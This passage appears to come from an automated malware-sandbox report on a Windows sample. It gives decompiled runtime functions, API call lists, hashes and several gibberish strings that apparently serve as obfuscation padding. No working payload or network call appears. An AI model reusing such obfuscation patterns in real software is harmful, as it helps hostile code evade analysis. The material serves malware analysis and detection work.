				_t25 = __esi;
				_t24 = __edi;
				_t22 = __edx;
				_t20 = __ecx;
				_t19 = __ebx;
				_t6 = __eax;
				_t34 = _t20 -  *0x440354; // 0xd7bbcde4
				if(_t34 == 0) {
					asm("repe ret");
				}
				 *0x54b520 = _t6;
				 *0x54b51c = _t20;
				 *0x54b518 = _t22;
				 *0x54b514 = _t19;
				 *0x54b510 = _t25;
				 *0x54b50c = _t24;
				 *0x54b538 = ss;
				 *0x54b52c = cs;
				 *0x54b508 = ds;
				 *0x54b504 = es;
				 *0x54b500 = fs;
				 *0x54b4fc = gs;
				asm("pushfd");
				_pop( *0x54b530);
				 *0x54b524 =  *_t29;
				 *0x54b528 = _v0;
				 *0x54b534 =  &_a4;
				 *0x54b470 = 0x10001;
				 *0x54b424 =  *0x54b528;
				 *0x54b418 = 0xc0000409;
				 *0x54b41c = 1;
				_t21 =  *0x440354; // 0xd7bbcde4
				_v812 = _t21;
				_t23 =  *0x440358; // 0x2844321b
				_v808 = _t23;
				 *0x54b468 = IsDebuggerPresent();
				_push(1);
				E00429B30(_t12);
				SetUnhandledExceptionFilter(0);
				_t15 = UnhandledExceptionFilter(0x408078);
				if( *0x54b468 == 0) {
					_push(1);
					E00429B30(_t15);
				}
				return TerminateProcess(GetCurrentProcess(), 0xc0000409);
			}

0x0042bdf0
0x0042bdf0
0x0042bdf0
0x0042bdf0
0x0042bdf0
0x0042bdf0
0x0042bdf0
0x0042bdf6
0x0042bdf8
0x0042bdf8
0x004362ab
0x004362b0
0x004362b6
0x004362bc
0x004362c2
0x004362c8
0x004362ce
0x004362d5
0x004362dc
0x004362e3
0x004362ea
0x004362f1
0x004362f8
0x004362f9
0x00436302
0x0043630a
0x00436312
0x0043631d
0x0043632c
0x00436331
0x0043633b
0x00436345
0x0043634b
0x00436351
0x00436357
0x00436363
0x00436368
0x0043636a
0x00436374
0x0043637f
0x0043638c
0x0043638e
0x00436390
0x00436395
0x004363ad

APIs

IsDebuggerPresent.KERNEL32 ref: 0043635D
SetUnhandledExceptionFilter.KERNEL32(00000000), ref: 00436374
UnhandledExceptionFilter.KERNEL32(00408078), ref: 0043637F
GetCurrentProcess.KERNEL32(C0000409), ref: 0043639D
TerminateProcess.KERNEL32(00000000), ref: 004363A4

Memory Dump Source

Source File: 00000000.00000002.238062965.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.238059645.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.238171919.0000000000440000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.238184578.000000000054A000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.238197820.0000000000550000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_OG9rNsihJ7.jbxd

Similarity

API ID: ExceptionFilterProcessUnhandled$CurrentDebuggerPresentTerminate
String ID:
API String ID: 2579439406-0
Opcode ID: d33d6eec9ec0402152c8a8e0e3891087fa48fcae2f688fcf5cadc28b83c95f56
Instruction ID: 76bb72f5782a16daa07bf28b2f6f6eea2d49e90b99eb6e5572318d8839ad5dcb
Opcode Fuzzy Hash: d33d6eec9ec0402152c8a8e0e3891087fa48fcae2f688fcf5cadc28b83c95f56
Instruction Fuzzy Hash: 9421E2BC8012049BEB04DF65F9446D5BBA0BB2A318F10516AE90893332F7749689EF89

Uniqueness

Uniqueness Score: -1.00%

Function 00428660, Relevance: 1.5, APIs: 1, Instructions: 8
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00428660() {

				SetUnhandledExceptionFilter(E004285F0);
				return 0;
			}

0x0042866a
0x00428673

APIs

SetUnhandledExceptionFilter.KERNEL32(Function_000285F0), ref: 0042866A

Memory Dump Source

Source File: 00000000.00000002.238062965.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.238059645.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.238171919.0000000000440000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.238184578.000000000054A000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.238197820.0000000000550000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_OG9rNsihJ7.jbxd

Similarity

API ID: ExceptionFilterUnhandled
String ID:
API String ID: 3192549508-0
Opcode ID: 22a113f521648d8fed7984dbd13fc4d6cca132a3dc250ae2705d33977c382b9f
Instruction ID: 0c0ae29ea5589b6d052f8c55fc1b842aea6d8ddac2bf7099d3f2e38dd39e355a
Opcode Fuzzy Hash: 22a113f521648d8fed7984dbd13fc4d6cca132a3dc250ae2705d33977c382b9f
Instruction Fuzzy Hash: A2B0127124520837971017F27C0DC173A8CC9D57303950065F00CD1021EDA19480405D

Uniqueness

Uniqueness Score: -1.00%

Function 005F31FF, Relevance: .2, Instructions: 164COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.238236248.00000000005F0000.00000040.00000001.sdmp, Offset: 005F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5f0000_OG9rNsihJ7.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: adde1d8ed614f1b4627ac8248198af32a96e582f141dfd9e05361ae7fa8ad012
Instruction ID: 51f37c1692773fb5a036bfb027e744001152e2c1fafa9477e3d3828078c22578
Opcode Fuzzy Hash: adde1d8ed614f1b4627ac8248198af32a96e582f141dfd9e05361ae7fa8ad012
Instruction Fuzzy Hash: 7B31C02994444D9EDF2D47B0D44A1E1BFA0EF5A304B690DCACB919FC97C934A443C693

Uniqueness

Uniqueness Score: -1.00%

Function 005F3253, Relevance: .1, Instructions: 145COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.238236248.00000000005F0000.00000040.00000001.sdmp, Offset: 005F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5f0000_OG9rNsihJ7.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: cf526be089bbf4f567823773968cea02f6975f775f586de3c71f4e573fc0c6e7
Instruction ID: da652a08eaedc7033589ea6f388ad16b07f2b1ec4348d350f59f9f43a661a0b2
Opcode Fuzzy Hash: cf526be089bbf4f567823773968cea02f6975f775f586de3c71f4e573fc0c6e7
Instruction Fuzzy Hash: C2319C2990485D9FDB2D877590581A1BB94EF5E308FB60DCACB91AFD57CA30A843C293

Uniqueness

Uniqueness Score: -1.00%

Function 005F0042, Relevance: .1, Instructions: 61COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.238236248.00000000005F0000.00000040.00000001.sdmp, Offset: 005F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5f0000_OG9rNsihJ7.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 80fd216e43a3e8e10aa1bc4256d449f15122fb9386c352c6ac78bfc1f060c30f
Instruction ID: 7c3f617f78e30d01147f04ccc15b6380799607e613e3851b86dca12716228ab8
Opcode Fuzzy Hash: 80fd216e43a3e8e10aa1bc4256d449f15122fb9386c352c6ac78bfc1f060c30f
Instruction Fuzzy Hash: 5A117072340104AFD754DE65DC95FB677EAFB88320B6D8155EA08CB352DA79EC01C760

Uniqueness

Uniqueness Score: -1.00%

Function 0042C47E, Relevance: 96.7, APIs: 33, Strings: 22, Instructions: 431
COMMON

Download Yara Rule

C-Code - Quality: 92%

			E0042C47E(struct _OVERLAPPED* __ecx) {
				CHAR* _t147;
				long _t160;
				void* _t164;
				void* _t167;
				void* _t171;
				struct _OVERLAPPED* _t179;
				struct _OVERLAPPED* _t197;
				struct _OVERLAPPED** _t198;
				void* _t208;
				void* _t209;
				void* _t259;
				void* _t260;
				void* _t261;
				void* _t262;
				signed int _t263;
				void* _t265;
				void* _t267;
				void* _t269;
				void* _t271;

				_t210 = __ecx;
				if(InterlockedIncrement(0x441060) <= 0) {
					if( *((intOrPtr*)(_t263 + 0x18)) != 0) {
						 *(_t263 - 0x5034) = 0;
						 *(_t263 - 0x5038) =  *(L00422E40(_t210));
						 *(L00422E40( *(L00422E40(_t210)))) = 0;
						_t236 = _t263 - 0x5030;
						_t197 = E00436270(_t263 - 0x5030, 0x1000, 0xfeb,  *((intOrPtr*)(_t263 + 0x18)),  *((intOrPtr*)(_t263 + 0x1c)));
						_t265 = _t265 + 0x14;
						 *(_t263 - 0x5034) = _t197;
						if( *(_t263 - 0x5034) < 0) {
							E0041DA20( *((intOrPtr*)(L00422E40(_t236))), 0x16, 0x22, L"(*_errno())", L"_VCrtDbgReportA", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\dbgrptt.c", 0x12d, 0);
							_t265 = _t265 + 0x20;
						}
						_t198 = L00422E40(_t236);
						_t210 =  *(_t263 - 0x5038);
						 *_t198 =  *(_t263 - 0x5038);
						if( *(_t263 - 0x5034) < 0) {
							E0041DF90(E0041DB10(_t208, _t210, _t261, _t263 - 0x5030, 0x1000, "_CrtDbgReport: String too long or IO Error"), _t199, L"strcpy_s(szUserMessage, 4096, \"_CrtDbgReport: String too long or IO Error\")", L"_VCrtDbgReportA", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\dbgrptt.c", 0x130, 0);
							_t265 = _t265 + 0x24;
						}
					}
					if( *(_t263 + 8) == 2) {
						if( *((intOrPtr*)(_t263 + 0x18)) == 0) {
							 *((intOrPtr*)(_t263 - 0x5068)) = "Assertion failed!";
						} else {
							 *((intOrPtr*)(_t263 - 0x5068)) = "Assertion failed: ";
						}
						_t210 = _t263 - 0x4030;
						E0041DF90(E0041DB10(_t208, _t263 - 0x4030, _t261, _t263 - 0x4030, 0x1000,  *((intOrPtr*)(_t263 - 0x5068))), _t192, L"strcpy_s(szLineMessage, 4096, szFormat ? \"Assertion failed: \" : \"Assertion failed!\")", L"_VCrtDbgReportA", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\dbgrptt.c", 0x135, 0);
						_t265 = _t265 + 0x24;
					}
					E0041DF90(E00432260(_t208, _t210, _t259, _t261, _t263 - 0x4030, 0x1000, _t263 - 0x5030), _t136, L"strcat_s(szLineMessage, 4096, szUserMessage)", L"_VCrtDbgReportA", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\dbgrptt.c", 0x137, 0);
					_t267 = _t265 + 0x24;
					if( *(_t263 + 8) == 2) {
						_t234 =  *(_t263 + 8);
						if(( *(0x441064 +  *(_t263 + 8) * 4) & 0x00000001) != 0) {
							E0041DF90(E00432260(_t208, _t234, _t259, _t261, _t263 - 0x4030, 0x1000, "\r"), _t189, L"strcat_s(szLineMessage, 4096, \"\\r\")", L"_VCrtDbgReportA", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\dbgrptt.c", 0x13c, 0);
							_t267 = _t267 + 0x24;
						}
						_t210 = _t263 - 0x4030;
						E0041DF90(E00432260(_t208, _t263 - 0x4030, _t259, _t261, _t263 - 0x4030, 0x1000, "\n"), _t186, L"strcat_s(szLineMessage, 4096, \"\\n\")", L"_VCrtDbgReportA", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\dbgrptt.c", 0x13d, 0);
						_t267 = _t267 + 0x24;
					}
					if( *(_t263 + 0xc) == 0) {
						E0041DF90(E0041DB10(_t208, _t263 - 0x4030, _t261, _t263 - 0x3028, 0x1000, _t263 - 0x4030), _t138, L"strcpy_s(szOutMessage, 4096, szLineMessage)", L"_VCrtDbgReportA", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\dbgrptt.c", 0x14b, 0);
						_t269 = _t267 + 0x24;
					} else {
						 *(_t263 - 0x503c) = 0;
						 *(_t263 - 0x5040) =  *(L00422E40(_t210));
						 *(L00422E40(_t210)) = 0;
						_push(_t263 - 0x4030);
						_t233 =  *(_t263 + 0x10);
						_push( *(_t263 + 0x10));
						_t179 = E0042BDC0( *(_t263 + 0x10), _t263 - 0x3028, 0x1000, 0xfff, "%s(%d) : %s",  *(_t263 + 0xc));
						_t269 = _t267 + 0x1c;
						 *(_t263 - 0x503c) = _t179;
						if( *(_t263 - 0x503c) < 0) {
							E0041DA20( *(L00422E40(_t233)), 0x16, 0x22, L"(*_errno())", L"_VCrtDbgReportA", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\dbgrptt.c", 0x144, 0);
							_t269 = _t269 + 0x20;
						}
						 *(L00422E40(_t233)) =  *(_t263 - 0x5040);
						if( *(_t263 - 0x503c) < 0) {
							E0041DF90(E0041DB10(_t208, _t233, _t261, _t263 - 0x3028, 0x1000, "_CrtDbgReport: String too long or IO Error"), _t182, L"strcpy_s(szOutMessage, 4096, \"_CrtDbgReport: String too long or IO Error\")", L"_VCrtDbgReportA", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\dbgrptt.c", 0x147, 0);
							_t269 = _t269 + 0x24;
						}
					}
					 *(_t263 - 0x5044) = 0;
					 *(_t263 - 0x5048) = 0;
					_t240 = _t263 - 0x5044;
					 *(_t263 - 0x5048) = E00436D30(_t263 - 0x5044, _t263 - 0x2020, 0x1000, _t263 - 0x3028, 0xffffffff);
					E0041DA20( *(_t263 - 0x5048), 0x16, 0x22, L"e = mbstowcs_s(&ret, szOutMessage2, 4096, szOutMessage, ((size_t)-1))", L"_VCrtDbgReportA", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\dbgrptt.c", 0x150, 0);
					_t271 = _t269 + 0x34;
					if( *(_t263 - 0x5048) != 0) {
						E0041DF90(E0042DCC0(_t208, _t263 - 0x2020, _t259, _t261, _t263 - 0x2020, 0x1000, L"_CrtDbgReport: String too long or Invalid characters in String"), _t173, L"wcscpy_s(szOutMessage2, 4096, L\"_CrtDbgReport: String too long or Invalid characters in String\")", L"_VCrtDbgReportA", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\dbgrptt.c", 0x152, 0);
						_t271 = _t271 + 0x24;
					}
					if( *0x54b818 != 0 ||  *0x54b814 != 0) {
						 *(_t263 - 0x5050) = 0;
						 *(_t263 - 0x504c) = 0;
						L0041E2F0(0xf);
						_t271 = _t271 + 4;
						 *(_t263 - 4) = 1;
						_t240 =  *0x54b818;
						 *(_t263 - 0x5050) =  *0x54b818;
						while( *(_t263 - 0x5050) != 0) {
							 *(_t263 - 0x5054) = 0;
							_t240 =  *(_t263 - 0x5050);
							_t171 =  *(( *(_t263 - 0x5050))[0xc])( *(_t263 + 8), _t263 - 0x3028, _t263 - 0x5054);
							_t271 = _t271 + 0xc;
							if(_t171 == 0) {
								 *(_t263 - 0x5050) = ( *(_t263 - 0x5050))[4];
								continue;
							}
							 *(_t263 - 0x302c) = 1;
							 *(_t263 - 0x2024) =  *(_t263 - 0x5054);
							break;
						}
						if( *(_t263 - 0x302c) != 0) {
							L43:
							 *(_t263 - 4) = 0;
							E0042CA15();
							goto L44;
						}
						_t240 =  *0x54b814;
						 *(_t263 - 0x504c) =  *0x54b814;
						while( *(_t263 - 0x504c) != 0) {
							 *(_t263 - 0x5058) = 0;
							_t240 =  *(_t263 - 0x504c);
							_t167 =  *(( *(_t263 - 0x504c))[0xc])( *(_t263 + 8), _t263 - 0x2020, _t263 - 0x5058);
							_t271 = _t271 + 0xc;
							if(_t167 == 0) {
								 *(_t263 - 0x504c) = ( *(_t263 - 0x504c))[4];
								continue;
							}
							 *(_t263 - 0x302c) = 1;
							 *(_t263 - 0x2024) =  *(_t263 - 0x5058);
							goto L43;
						}
						goto L43;
					} else {
						L44:
						if( *(_t263 - 0x302c) == 0) {
							if( *0x54b810 != 0) {
								 *(_t263 - 0x505c) = 0;
								_t240 = _t263 - 0x505c;
								_t164 =  *0x54b810( *(_t263 + 8), _t263 - 0x3028, _t263 - 0x505c);
								_t271 = _t271 + 0xc;
								if(_t164 != 0) {
									 *(_t263 - 0x302c) = 1;
									_t240 =  *(_t263 - 0x505c);
									 *(_t263 - 0x2024) =  *(_t263 - 0x505c);
								}
							}
							if( *(_t263 - 0x302c) == 0) {
								if(( *(0x441064 +  *(_t263 + 8) * 4) & 0x00000001) != 0 &&  *(0x441070 +  *(_t263 + 8) * 4) != 0xffffffff) {
									_t160 = E0041DDF0(_t263 - 0x3028);
									_t271 = _t271 + 4;
									WriteFile( *(0x441070 +  *(_t263 + 8) * 4), _t263 - 0x3028, _t160, _t263 - 0x5060, 0);
								}
								if(( *(0x441064 +  *(_t263 + 8) * 4) & 0x00000002) != 0) {
									OutputDebugStringA(_t263 - 0x3028);
								}
								_t240 =  *(_t263 + 8);
								if(( *(0x441064 +  *(_t263 + 8) * 4) & 0x00000004) != 0) {
									 *(_t263 - 0x4030) = 0;
									if( *(_t263 + 0x10) != 0) {
										E0041DF90(E00436D60(_t263 - 0x4030,  *(_t263 + 0x10), _t263 - 0x4030, 0x1000, 0xa), _t157, L"_itoa_s(nLine, szLineMessage, 4096, 10)", L"_VCrtDbgReportA", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\dbgrptt.c", 0x1a2, 0);
										_t271 = _t271 + 0x28;
									}
									asm("sbb edx, edx");
									_t240 =  *(_t263 + 8);
									 *(_t263 - 0x2024) = L00429720(_t208,  *(_t263 + 8), _t259, _t261,  *(_t263 + 8),  *(_t263 + 0xc),  ~( *(_t263 + 0x10)) & _t263 - 0x00004030,  *((intOrPtr*)(_t263 + 0x14)), _t263 - 0x5030);
								}
							}
						}
						L58:
						 *(_t263 - 4) = 0xfffffffe;
						E0042CB7F();
						_t147 =  *(_t263 - 0x2024);
						 *[fs:0x0] =  *((intOrPtr*)(_t263 - 0x10));
						_pop(_t260);
						_pop(_t262);
						_pop(_t209);
						return E0042BDF0(_t147, _t209,  *(_t263 - 0x1c) ^ _t263, _t240, _t260, _t262);
					}
				}
				E0041DF90(E00436D60(_t210,  *(_t263 + 0x10), _t263 - 0x4030, 0x1000, 0xa), _t204, L"_itoa_s(nLine, szLineMessage, 4096, 10)", L"_VCrtDbgReportA", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\dbgrptt.c", 0x119, 0);
				OutputDebugStringA("Second Chance Assertion Failed: File ");
				if( *(_t263 + 0xc) == 0) {
					 *(_t263 - 0x5064) = "<file unknown>";
				} else {
					 *(_t263 - 0x5064) =  *(_t263 + 0xc);
				}
				_t240 =  *(_t263 - 0x5064);
				OutputDebugStringA( *(_t263 - 0x5064));
				OutputDebugStringA(", Line ");
				OutputDebugStringA(_t263 - 0x4030);
				OutputDebugStringA("\n");
				E0042C380(_t263 - 0x4030);
				 *(_t263 - 0x2024) = 0xffffffff;
				goto L58;
			}

0x0042c47e
0x0042c48b
0x0042c538
0x0042c53e
0x0042c54f
0x0042c55a
0x0042c572
0x0042c579
0x0042c57e
0x0042c581
0x0042c58e
0x0042c5b2
0x0042c5b7
0x0042c5b7
0x0042c5ba
0x0042c5bf
0x0042c5c5
0x0042c5ce
0x0042c600
0x0042c605
0x0042c605
0x0042c5ce
0x0042c60c
0x0042c612
0x0042c620
0x0042c614
0x0042c614
0x0042c614
0x0042c64c
0x0042c65c
0x0042c661
0x0042c661
0x0042c696
0x0042c69b
0x0042c6a2
0x0042c6a4
0x0042c6b1
0x0042c6e3
0x0042c6e8
0x0042c6e8
0x0042c70b
0x0042c71b
0x0042c720
0x0042c720
0x0042c727
0x0042c837
0x0042c83c
0x0042c72d
0x0042c72d
0x0042c73e
0x0042c749
0x0042c755
0x0042c756
0x0042c759
0x0042c774
0x0042c779
0x0042c77c
0x0042c789
0x0042c7ad
0x0042c7b2
0x0042c7b2
0x0042c7c0
0x0042c7c9
0x0042c7fb
0x0042c800
0x0042c800
0x0042c803
0x0042c83f
0x0042c849
0x0042c868
0x0042c877
0x0042c89e
0x0042c8a3
0x0042c8ad
0x0042c8df
0x0042c8e4
0x0042c8e4
0x0042c8ee
0x0042c8fd
0x0042c907
0x0042c913
0x0042c918
0x0042c91b
0x0042c922
0x0042c928
0x0042c93f
0x0042c948
0x0042c964
0x0042c96d
0x0042c96f
0x0042c974
0x0042c939
0x00000000
0x0042c939
0x0042c976
0x0042c986
0x00000000
0x0042c986
0x0042c997
0x0042ca07
0x0042ca07
0x0042ca0e
0x00000000
0x0042ca0e
0x0042c999
0x0042c99f
0x0042c9b6
0x0042c9bf
0x0042c9db
0x0042c9e4
0x0042c9e6
0x0042c9eb
0x0042c9b0
0x00000000
0x0042c9b0
0x0042c9ed
0x0042c9fd
0x00000000
0x0042c9fd
0x00000000
0x0042ca20
0x0042ca20
0x0042ca27
0x0042ca34
0x0042ca36
0x0042ca40
0x0042ca52
0x0042ca58
0x0042ca5d
0x0042ca5f
0x0042ca69
0x0042ca6f
0x0042ca6f
0x0042ca5d
0x0042ca7c
0x0042ca8f
0x0042caae
0x0042cab3
0x0042cac9
0x0042cac9
0x0042cadc
0x0042cae5
0x0042cae5
0x0042caeb
0x0042caf8
0x0042cafa
0x0042cb05
0x0042cb38
0x0042cb3d
0x0042cb3d
0x0042cb50
0x0042cb5f
0x0042cb6b
0x0042cb6b
0x0042caf8
0x0042ca7c
0x0042cb71
0x0042cb71
0x0042cb78
0x0042cb91
0x0042cb9a
0x0042cba2
0x0042cba3
0x0042cba4
0x0042cbb2
0x0042cbb2
0x0042c8ee
0x0042c4c2
0x0042c4cf
0x0042c4d9
0x0042c4e6
0x0042c4db
0x0042c4de
0x0042c4de
0x0042c4f0
0x0042c4f7
0x0042c502
0x0042c50f
0x0042c51a
0x0042c520
0x0042c525
0x00000000

APIs

InterlockedIncrement.KERNEL32(00441060), ref: 0042C483
__invoke_watson_if_error.LIBCMTD ref: 0042C4C2
OutputDebugStringA.KERNEL32(Second Chance Assertion Failed: File ), ref: 0042C4CF
OutputDebugStringA.KERNEL32(004061A4), ref: 0042C4F7
OutputDebugStringA.KERNEL32(, Line ), ref: 0042C502
OutputDebugStringA.KERNEL32(?), ref: 0042C50F
OutputDebugStringA.KERNEL32(00406198), ref: 0042C51A
_wcscat_s.LIBCMTD ref: 0042C6DA

Part of subcall function 00432260: __invalid_parameter.LIBCMTD ref: 004322D2

__invoke_watson_if_error.LIBCMTD ref: 0042C6E3

Part of subcall function 0041DF90: __invoke_watson.LIBCMTD ref: 0041DFB1

_wcscat_s.LIBCMTD ref: 0042C712

Part of subcall function 00432260: _memset.LIBCMT ref: 0043233B
Part of subcall function 00432260: __invalid_parameter.LIBCMTD ref: 00432397

__invoke_watson_if_error.LIBCMTD ref: 0042C71B
__snwprintf_s.LIBCMTD ref: 0042C774

Part of subcall function 0042BDC0: __vsnprintf_s_l.LIBCMTD ref: 0042BDE2

__invoke_watson_if_oneof.LIBCMTD ref: 0042C7AD
_wcscpy_s.LIBCMTD ref: 0042C7F2
__invoke_watson_if_error.LIBCMTD ref: 0042C7FB
__cftoe.LIBCMTD ref: 0042C86F
__invoke_watson_if_oneof.LIBCMTD ref: 0042C89E
_wcscpy_s.LIBCMTD ref: 0042C8D6
__invoke_watson_if_error.LIBCMTD ref: 0042C8DF
__itow_s.LIBCMTD ref: 0042C4B9

Part of subcall function 00436D60: _xtow_s@20.LIBCMTD ref: 00436D8B

__strftime_l.LIBCMTD ref: 0042C579
__invoke_watson_if_oneof.LIBCMTD ref: 0042C5B2
_wcscpy_s.LIBCMTD ref: 0042C5F7
__invoke_watson_if_error.LIBCMTD ref: 0042C600
_wcscpy_s.LIBCMTD ref: 0042C653
__invoke_watson_if_error.LIBCMTD ref: 0042C65C
_wcscat_s.LIBCMTD ref: 0042C68D
__invoke_watson_if_error.LIBCMTD ref: 0042C696

Strings

strcat_s(szLineMessage, 4096, szUserMessage), xrefs: 0042C675
f:\dd\vctools\crt_bld\self_x86\crt\src\dbgrptt.c, xrefs: 0042C498, 0042C597, 0042C5D7, 0042C631, 0042C66B, 0042C6BA, 0042C6F2, 0042C792, 0042C7D2, 0042C884, 0042C8B6, 0042CB0E
%s(%d) : %s, xrefs: 0042C75E
strcat_s(szLineMessage, 4096, "\r"), xrefs: 0042C6C4
strcpy_s(szUserMessage, 4096, "_CrtDbgReport: String too long or IO Error"), xrefs: 0042C5E1
_VCrtDbgReportA, xrefs: 0042C49D, 0042C59C, 0042C5DC, 0042C636, 0042C670, 0042C6BF, 0042C6F7, 0042C797, 0042C7D7, 0042C889, 0042C8BB, 0042CB13
Assertion failed: , xrefs: 0042C614
strcpy_s(szOutMessage, 4096, "_CrtDbgReport: String too long or IO Error"), xrefs: 0042C7DC
Assertion failed!, xrefs: 0042C620
e = mbstowcs_s(&ret, szOutMessage2, 4096, szOutMessage, ((size_t)-1)), xrefs: 0042C88E
t8j, xrefs: 0042C8AD
strcat_s(szLineMessage, 4096, "\n"), xrefs: 0042C6FC
strcpy_s(szLineMessage, 4096, szFormat ? "Assertion failed: " : "Assertion failed!"), xrefs: 0042C63B
_itoa_s(nLine, szLineMessage, 4096, 10), xrefs: 0042C4A2, 0042CB18
<file unknown>, xrefs: 0042C4E6
wcscpy_s(szOutMessage2, 4096, L"_CrtDbgReport: String too long or Invalid characters in String"), xrefs: 0042C8C0
(*_errno()), xrefs: 0042C5A1, 0042C79C
t9j, xrefs: 0042CB05
, Line , xrefs: 0042C4FD
_CrtDbgReport: String too long or IO Error, xrefs: 0042C5E6, 0042C7E1
_CrtDbgReport: String too long or Invalid characters in String, xrefs: 0042C8C5
Second Chance Assertion Failed: File , xrefs: 0042C4CA

Memory Dump Source

Source File: 00000000.00000002.238062965.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.238059645.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.238171919.0000000000440000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.238184578.000000000054A000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.238197820.0000000000550000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_OG9rNsihJ7.jbxd

Similarity

API ID: __invoke_watson_if_error$DebugOutputString$_wcscpy_s$__invoke_watson_if_oneof_wcscat_s$__invalid_parameter$IncrementInterlocked__cftoe__invoke_watson__itow_s__snwprintf_s__strftime_l__vsnprintf_s_l_memset_xtow_s@20
String ID: %s(%d) : %s$(*_errno())$, Line $<file unknown>$Assertion failed!$Assertion failed: $Second Chance Assertion Failed: File $_CrtDbgReport: String too long or IO Error$_CrtDbgReport: String too long or Invalid characters in String$_VCrtDbgReportA$_itoa_s(nLine, szLineMessage, 4096, 10)$e = mbstowcs_s(&ret, szOutMessage2, 4096, szOutMessage, ((size_t)-1))$f:\dd\vctools\crt_bld\self_x86\crt\src\dbgrptt.c$strcat_s(szLineMessage, 4096, "\n")$strcat_s(szLineMessage, 4096, "\r")$strcat_s(szLineMessage, 4096, szUserMessage)$strcpy_s(szLineMessage, 4096, szFormat ? "Assertion failed: " : "Assertion failed!")$strcpy_s(szOutMessage, 4096, "_CrtDbgReport: String too long or IO Error")$strcpy_s(szUserMessage, 4096, "_CrtDbgReport: String too long or IO Error")$t8j$t9j$wcscpy_s(szOutMessage2, 4096, L"_CrtDbgReport: String too long or Invalid characters in String")
API String ID: 3801329020-1614164922
Opcode ID: 8fe51fa25648973e2e39ba0b0ffe1d03d6f6e2c3969fdd2e27584cb0bfa39ff9
Instruction ID: 20fac9a9d1b22829b05665811037e1802459aeafca9c4a4e38fbbe0e9bfad19e
Opcode Fuzzy Hash: 8fe51fa25648973e2e39ba0b0ffe1d03d6f6e2c3969fdd2e27584cb0bfa39ff9
Instruction Fuzzy Hash: 6F02A4B0E40728ABEB24DF50DC46BDF7374AB14705F5041AAF6097A2C1D7B89A84CF99

Uniqueness

Uniqueness Score: -1.00%

Function 00419C68, Relevance: 36.8, APIs: 13, Strings: 8, Instructions: 85memoryCOMMON

Download Yara Rule

APIs

SetLastError.KERNEL32(00000000), ref: 00419C7E
GetConsoleCursorInfo.KERNEL32(00000000,00000000), ref: 00419C91
GetProfileStringA.KERNEL32(wegazevevemitohokababawijufapiyodewemu,gugafavapisufetirenucihobeyokuxutebijubixofaxabe,xoliwerarihazohupamuzuficumabaselacahexuxa,?,00000000), ref: 00419CAF
WriteProfileSectionW.KERNEL32(00000000,00000000), ref: 00419CB9
GetProfileStringW.KERNEL32(jikatopoxolumuho,nuyijuwuwavejaneyediyayabuwoxegebevoyopocomodiciwaweb,zisokokusabazaketixuhozewofufisejabiwiwubadevuyiyukus,?,00000000), ref: 00419CD7
GetLastError.KERNEL32 ref: 00419CDD
GetSystemWow64DirectoryW.KERNEL32(?,00000000), ref: 00419CF8
GetWindowsDirectoryW.KERNEL32(?,00000000), ref: 00419D07
GetCPInfoExA.KERNEL32(00000000,00000000,?), ref: 00419D18
GetDiskFreeSpaceExA.KERNEL32(Yapey hetucironijas nuxo xukedosi bovuludut,?,?,?), ref: 00419D38
GetStartupInfoW.KERNEL32(?), ref: 00419D45
ReadConsoleOutputCharacterW.KERNEL32(00000000,00000000,00000000,?,00000000), ref: 00419D59
GlobalUnWire.KERNEL32(?), ref: 00419DB7
GetProcessHeap.KERNEL32 ref: 00419E03
GetProcessHeap.KERNEL32 ref: 00419E09
WritePrivateProfileStringW.KERNEL32(00000000,00000000,00000000,00000000), ref: 00419E17
SetPriorityClass.KERNEL32(00000000,00000000), ref: 00419E21

Strings

gugafavapisufetirenucihobeyokuxutebijubixofaxabe, xrefs: 00419CA5
u7, xrefs: 00419D5F
Yapey hetucironijas nuxo xukedosi bovuludut, xrefs: 00419D33
wegazevevemitohokababawijufapiyodewemu, xrefs: 00419CAA
jikatopoxolumuho, xrefs: 00419CD2
xoliwerarihazohupamuzuficumabaselacahexuxa, xrefs: 00419CA0
